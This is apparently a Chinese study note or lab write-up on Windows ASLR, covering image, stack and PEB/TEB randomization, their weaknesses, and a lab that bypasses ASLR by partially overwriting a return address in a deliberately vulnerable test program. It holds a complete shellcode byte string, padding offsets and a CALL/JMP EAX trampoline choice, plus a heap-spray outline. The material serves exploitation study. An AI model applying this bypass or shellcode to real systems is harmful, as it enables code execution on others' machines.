在内存中躲猫猫:ASLR

[toc]

内存随机化保护机制的原理

前面的所有漏洞利用都有一个共同特征:都需要确定一个明确的跳转地址。而 ASLR(Address Space Layout Randomization)技术就是通过使用随机的基址加载程序,从而干扰 shellcode 定位的一种保护机制。

ASLR 的实现需要程序和操作系统的双重支持,其中程序的支持不是必需的。

支持 ASLR 的程序在它的 PE 头中会设置 IMAGE_DLL_CHARACTERISTICS_ DYNAMIC_BASE 标识来说明其支持 ASLR。在Visual Studio 2008 (VS 9.0)中,可以在通过菜单中的 Project→project Properties→ Configuration Pr operties→ Linker→ Advanced→ Randomized Base Address 选项对 /dynmicbase 链接选项(启用则支持 ASLR)进行设置。

image-20220627142527023

映像随机化

映像随机化是在 PE 文件映射到内存时,对其加载的虚拟地址进行随机化处理,这个地址是在系统启动时确定的,系统重启后这个地址会变化。

image-20220627144723028

image-20220627144842009

微软在系统中设置了映像随机化的开关,通过设置注册表中 HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager\Memory Management\MoveImages 的键值来设定映像随机化的工作模式。

  • 设置为 0 时映像随机化将禁用。
  • 设置为 -1 时强制对可随机化的映像进行处 理,无论是否设置 IMAGE_DLL_CHARACTERISTICS_DYNAMIC_BASE 标识。
  • 设置为其他值时为正常工作模式,只对具有随机化处理标识的映像进行处理。

如果注册表中不存在 MoveImages,大家可以手工建立名称为 MoveImages,类型为 DWORD的值,并根据需要设置它的值,如下图所示。

image-20220627182404503

堆栈随机化

堆栈随机化是在程序运行时随机的选择堆栈的基址,在程序打开时确定。也就是说同一个程序任意两次运行时的堆栈基址都是不同的,进而各变量在内存中的位置也就是不确定的。

测试一下堆栈随机化对变量在内存位置的影响,我们分别在堆和栈上各申请 100 个字节的空间,然后在 Windows XP 和 Windows Vista 下面各运行两次。

int _tmain(int argc, _TCHAR *argv[])
{
    char * heap=(char *)malloc(100);
    char stack[100];
    printf("Address of heap:%#0.4x\nAddress of stack:%#0.4x",heap, stack);
    getchar();
    return 0;
}

Windows vista:两次申请空间的起始地址不同

vista 第一次

vista 第二次

Windows XP:两次申请空间的起始地址完全相同

image-20220627143735236

image-20220627143752943

PEB 与 TEB 随机化

微软在 XP SP2 之后不再使用固定的 PEB 基址 0x7FFDF000 和 TEB 基址 0x7FFDE000,而是使用具有一定随机性的基址,这就增加了攻击 PEB 中的函数指针的难度。

获取当前进程的 TEB 和 PEB ,TEB 存放在 FS:0 和 FS:[0x18]处, PEB 存放在 TEB 偏移 0x30 的位置。

int _tmain(int argc, _TCHAR *argv[])
{
    unsigned int teb;
    unsigned int peb;
    __asm{
        mov eax,FS:[0x18]
        mov teb,eax
        mov eax,dwordptr[eax+0x30]
        mov peb,eax
    }
    printf("PEB:%#x\nTEB:%#x",peb,teb);
    getchar();
    return 0;
}

可以从下面的结果看出,PEB 和 TEB 的随机效果不是很好。

image-20220627145731792

image-20220627145754255

image-20220627145818499

image-20220627145834839

image-20220627145849099

image-20220627145904247

ASLR 的弱点

(1)在映像随机化中,虽然模块的加载基址变化了,但是各模块的入口点( Entry 那列)地址的低位 2 个字节是不变的,也就是说映像随机化只是对加载基址的前 2 个字节做了随机处理。地址的前 2 个字节是随机的,而后 2 个字节是固定的。

(2)在堆栈随机化中,将每个线程的堆栈基址都做了随机化处理,使得程序每次运行时变量的地址都不相同。好处是可以防止精准攻击。例如我们需要根据 shellcode 的起始地址直接跳转到 shellcode 执行,但是自从 JMP ESP 跳板指令开始使用后溢出时很少直接跳到 shellcode 中执行了;另外在浏览器攻击方面很流行的 heap spray 等技术,这些技术也是不需要精准跳转的,只需要跳转到一个大概的位置即可。所以这项措施对于目前的溢出手段影响有限。

(3)在PEB 和 TEB 的随机化中,它们的随机化程度很低。

攻击未启用 ASLR 的模块

ASLR 仅仅是项安全机制,不是什么行业标准, 不支持 ASLR 的软件有很多。不支持 ASLR 意味着加载基址固定,如果我们能够在当前进程空间中找到一个这样的模块,就可以利用它里边的指令来做跳板了,直接无视 ASLR。

本次实验需要用到 IE 和 Flash,由于这两项技术目前已经淘汰,并且 Flash无法找到实验版本(Flash Player ActiveX 9.0.262),所以我们先跳过这个实验。

利用部分覆盖进行定位内存地址

之所以能利用部分覆盖进行定位内存地址,有两个原因,一是**映像随机化只是对映像加载基址的前2个字节做随机化处理。**如果我们借鉴 “off by one” 的思想,只覆盖这个地址的最后一个字节(或者两个字节),那么我们就能在一定范围内控制程序。二是因为 ASLR 只是随机化了映像的加载基址,而没有对指令序列进行随机化,指令序列相对于基址的位置还是不变的。

实验代码:

#include"stdafx.h"
#include"stdlib.h"
charshellcode[]=
    "\xFC\x68\x6A\x0A\x38\x1E\x68\x63\x89\xD1\x4F\x68\x32\x74\x91\x0C"
    "……"
    "\x53\xFF\x57\xFC\x53\xFF\x57\xF8\x90\x90\x90\x90\x90\x90\x90\x90"
    "……"
    "\x90\x90\x90\x90"
    "\x1C\x14"
	;
char * test()
{
    char tt[256];
    memcpy(tt,shellcode,262);
    return tt;
}
int _tmain(int argc, _TCHAR *argv[])
{
    char temp[200];
    test();
    return 0;
}

实验思路:

( 1)为了更直观地反映绕过 ASLR 的过程,本次实验编译的程序不启用 GS。 ( 2)编译程序时禁用 DEP。 ( 3) test 函数中通过复制超长字符串可以溢出并覆盖函数返回地址。 ( 4)复制结束后, test 函数返回 tt 字符数组的首地址。 ( 5)在相对程序加载基址 0x0000~0xFFFF 的范围内,找到一条跳板指令,并用它地址的后 2 个字节覆盖返回地址的后两个字节。 ( 6)采用这种类似 “相对寻址” 的方法来动态确定跳板指令的地址,以实现跳板指令的通用性。

注意:test 函数返回的 tt 字符数组的首地址是没有实际意义的,因为 tt 的空间是在栈上的,程序从 test 函数返回后 tt 字符数组所在的空间就会被释放。

推荐使用的环境
操作系统Windows Vista SP2
DEP 状态Optin (Vista 默认状态)
编译器Visual Studio 2008
优化选项禁用优化选项
GS 选项GS 关闭
DEP 选项/NXCOMPAT:NO
build 版本release 版本

实验步骤:

计算能覆盖到返回地址的填充长度

调试得到,test() 的返回地址位于 001FF940处,tt 的起始地址位于 0x001FF83C处,相距 260 个字节,所以我们可以使用 261~262 这两个字节来覆盖返回地址的后两位。

寻找跳板指令

char shellcode[]=
	"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
	"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
	"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
	"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
	"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
	"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
	"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
	"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
	"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
	"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
	"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
	"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
	"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
	"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
	"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
	"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
	"\x90\x90\x90\x90"
	"\x90\x90"
	;

image-20220627183840453

如上图所示,函数返回地址的后两个字节已经被覆盖为 0x90 了。接下来就是寻找一条适合的跳板地址,由于是部分覆盖,所以 shellcode 只能放在返回地址前面,这样 JMP ESP 指令就不能再使用了。我们需要让函数跳转执行 shellcode,所以要向低地址跳转,观察寄存器,只有EAX 符合(EAX 指向 tt 的起始地址)。将函数返回地址覆盖为 CALL/JMP EAX 的指令地址(0x00b7141c)。

image-20220627210954342

选择 ASLR_Offbyone.exe 中的指令,因为只有它里面的指令才有可能控制,我们选择 0x0008141C,重启系统后再查找一次。

image-20220627211702027

布置 shellcode

Shellcode 最开始部分为弹出对话框的机器码,然后是 0x90 填充,最后为用来覆盖返回地址后 2 个字节的 0x141C。

image-20220627212644231

char shellcode[]=
    "\xFC\x68\x6A\x0A\x38\x1E\x68\x63\x89\xD1\x4F\x68\x32\x74\x91\x0C"
    "\x8B\xF4\x8D\x7E\xF4\x33\xDB\xB7\x04\x2B\xE3\x66\xBB\x33\x32\x53"
    "\x68\x75\x73\x65\x72\x54\x33\xD2\x64\x8B\x5A\x30\x8B\x4B\x0C\x8B"
    "\x49\x1C\x8B\x09\x8B\x69\x08\xAD\x3D\x6A\x0A\x38\x1E\x75\x05\x95"
    "\xFF\x57\xF8\x95\x60\x8B\x45\x3C\x8B\x4C\x05\x78\x03\xCD\x8B\x59"
    "\x20\x03\xDD\x33\xFF\x47\x8B\x34\xBB\x03\xF5\x99\x0F\xBE\x06\x3A"
    "\xC4\x74\x08\xC1\xCA\x07\x03\xD0\x46\xEB\xF1\x3B\x54\x24\x1C\x75"
    "\xE4\x8B\x59\x24\x03\xDD\x66\x8B\x3C\x7B\x8B\x59\x1C\x03\xDD\x03"
    "\x2C\xBB\x95\x5F\xAB\x57\x61\x3D\x6A\x0A\x38\x1E\x75\xA9\x33\xDB"
    "\x53\x68\x77\x65\x73\x74\x68\x66\x61\x69\x6C\x8B\xC4\x53\x50\x50"
    "\x53\xFF\x57\xFC\x53\xFF\x57\xF8\x90\x90\x90\x90\x90\x90\x90\x90"
	"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
	"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
	"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
	"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
	"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
    "\x90\x90\x90\x90"
    "\x1C\x14"
	;

运行成功,即使是重启系统,shellcode 依然能成功执行。

image-20220627214549655

利用 Heap spray 技术定位内存

Heap spray 原理:通过申请大量内存,占领内存中的 0x0C0C0C0C 的位置,并在这些内存中放置 0x90 和 shellcode,最后控制程序转入 0x0C0C0C0C 执行。